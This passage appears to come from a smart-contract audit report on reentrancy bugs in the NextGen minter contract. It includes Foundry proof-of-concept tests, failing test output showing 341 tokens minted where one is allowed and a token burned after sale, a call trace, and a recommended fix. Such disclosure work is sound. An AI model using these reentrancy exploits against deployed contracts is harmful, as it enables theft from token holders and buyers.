                    ERC721.transferFrom,
                    (address(this), _buyer, _burntToken)
                )
            );

            _buyer = address(0);
            _burntToken = 0;
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

contract MinterContractTest is Test {
    NextGenMinterContract public minterContract;
    NextGenAdmins public adminsContract;
    NextGenCore public coreContract;

    DelegationManagementContract public nftDelegationContract;
    NextGenRandomizerNXT public randomizerContract;
    randomPool public randomsContract;

    auctionDemo public auctionContract;

    function setUp() public {
        vm.warp(365 days);
        randomsContract = new randomPool();
        nftDelegationContract = new DelegationManagementContract();
        adminsContract = new NextGenAdmins();
        coreContract = new NextGenCore("Test", "TEST", address(adminsContract));
        minterContract = new NextGenMinterContract(
            address(coreContract),
            address(nftDelegationContract),
            address(adminsContract)
        );
        randomizerContract = new NextGenRandomizerNXT(
            address(randomsContract),
            address(adminsContract),
            address(coreContract)
        );
        coreContract.addMinterContract(address(minterContract));
        auctionContract = new auctionDemo(
            address(minterContract),
            address(coreContract),
            address(adminsContract)
        );

        string[] memory scripts;

        coreContract.createCollection(
            "Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.createCollection(
            "Burn to Mint Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0);
        coreContract.setCollectionData(2, vm.addr(1), 1, 999, 0);

        coreContract.addRandomizer(1, address(randomizerContract));
        coreContract.addRandomizer(2, address(randomizerContract));

        minterContract.initializeBurn(1, 2, true);

        minterContract.setCollectionCosts(
            1,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionCosts(
            2,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionPhases(
            1,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );

        minterContract.setCollectionPhases(
            2,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );
    }

    function testReentrantMint() public {
        ReentrantMinter reentrantMinter = new ReentrantMinter();

        bytes32[] memory proof;

        minterContract.mint(
            1,
            1,
            0,
            "",
            address(reentrantMinter),
            proof,
            address(0),
            0
        );

        assertEq(coreContract.balanceOf(address(reentrantMinter)), 1, "Minted more than allowed");
    }

    function testReentrantSell() public {
        ReentrantSeller reentrantSeller = new ReentrantSeller(address(coreContract));

        bytes32[] memory proof;

        minterContract.mint(
            1,
            1,
            0,
            "",
            address(reentrantSeller),
            proof,
            address(0),
            0
        );

        assertEq(coreContract.balanceOf(address(reentrantSeller)), 1);

        reentrantSeller.exploit(address(minterContract), vm.addr(4), 10000000000);

        assertEq(coreContract.balanceOf(vm.addr(4)), 1, "Token was burned for the buyer");
    }
}

Results

[⠘] Compiling...
No files changed, compilation skipped

Running 2 tests for test/MinterContract.t.sol:MinterContractTest
[FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541)
Logs:
  Error: Minted more than allowed
  Error: a == b not satisfied [uint]
        Left: 341
       Right: 1

[FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607)
Logs:
  Error: Token was burned for the buyer
  Error: a == b not satisfied [uint]
        Left: 0
       Right: 1

Test result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 114.33ms
 
Ran 1 test suites: 0 tests passed, 2 failed, 0 skipped (2 total tests)

Failing tests:
Encountered 2 failing tests in test/MinterContract.t.sol:MinterContractTest
[FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541)
[FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607)

Encountered a total of 2 failing tests, 0 tests succeeded

Traces

This shows how the token to be burned is transferred to the buyer in the sale simulation then burned afterwards.

    ├─ [304366] ReentrantSeller::exploit(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) 
    │   ├─ [269503] NextGenMinterContract::burnToMint(1, 10000000000 [1e10], 2, 0) 
    │   │   ├─ [555] NextGenCore::viewTokensIndexMin(1) [staticcall]
    │   │   │   └─ ← 10000000000 [1e10]
    │   │   ├─ [534] NextGenCore::viewTokensIndexMax(1) [staticcall]
    │   │   │   └─ ← 10000000998 [1e10]
    │   │   ├─ [2534] NextGenCore::viewCirSupply(2) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [2555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    │   │   │   └─ ← 20000000000 [2e10]
    │   │   ├─ [2534] NextGenCore::viewTokensIndexMax(2) [staticcall]
    │   │   │   └─ ← 20000000998 [2e10]
    │   │   ├─ [534] NextGenCore::viewCirSupply(2) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    │   │   │   └─ ← 20000000000 [2e10]
    │   │   ├─ [247071] NextGenCore::burnToMint(20000000000 [2e10], 1, 10000000000 [1e10], 2, 0, ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) 
    │   │   │   ├─ [37223] NextGenRandomizerNXT::calculateTokenHash(2, 20000000000 [2e10], 0) 
    │   │   │   │   ├─ [558] randomPool::randomNumber() [staticcall]
    │   │   │   │   │   └─ ← 571
    │   │   │   │   ├─ [8912] randomPool::randomWord() [staticcall]
    │   │   │   │   │   └─ ← Pawpaw
    │   │   │   │   ├─ [24851] NextGenCore::setTokenHash(2, 20000000000 [2e10], 0xc1c05d04c3dea68a6d0a0a90357a1f5369f155b8646b6261e3346c6fd4db4437) 
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← ()
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenId: 20000000000 [2e10])
    │   │   │   ├─ [44464] ReentrantSeller::onERC721Received(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000000, 20000000000 [2e10], 0x) 
    │   │   │   │   ├─ [42544] NextGenCore::transferFrom(ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) 
    │   │   │   │   │   ├─ emit Transfer(from: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenId: 10000000000 [1e10])
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← 0x150b7a02
    │   │   │   ├─ emit Transfer(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, to: 0x0000000000000000000000000000000000000000, tokenId: 10000000000 [1e10])
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()

Tools Used

Manual review

Recommended Mitigation Steps

Follow the Checks / Effects / Interactions pattern (.e.g update tokensMintedAllowlistAddress/tokensMintedPerAddress before calling _mintProcessing) / add ReentrancyGuard.

Assessed type

Reentrancy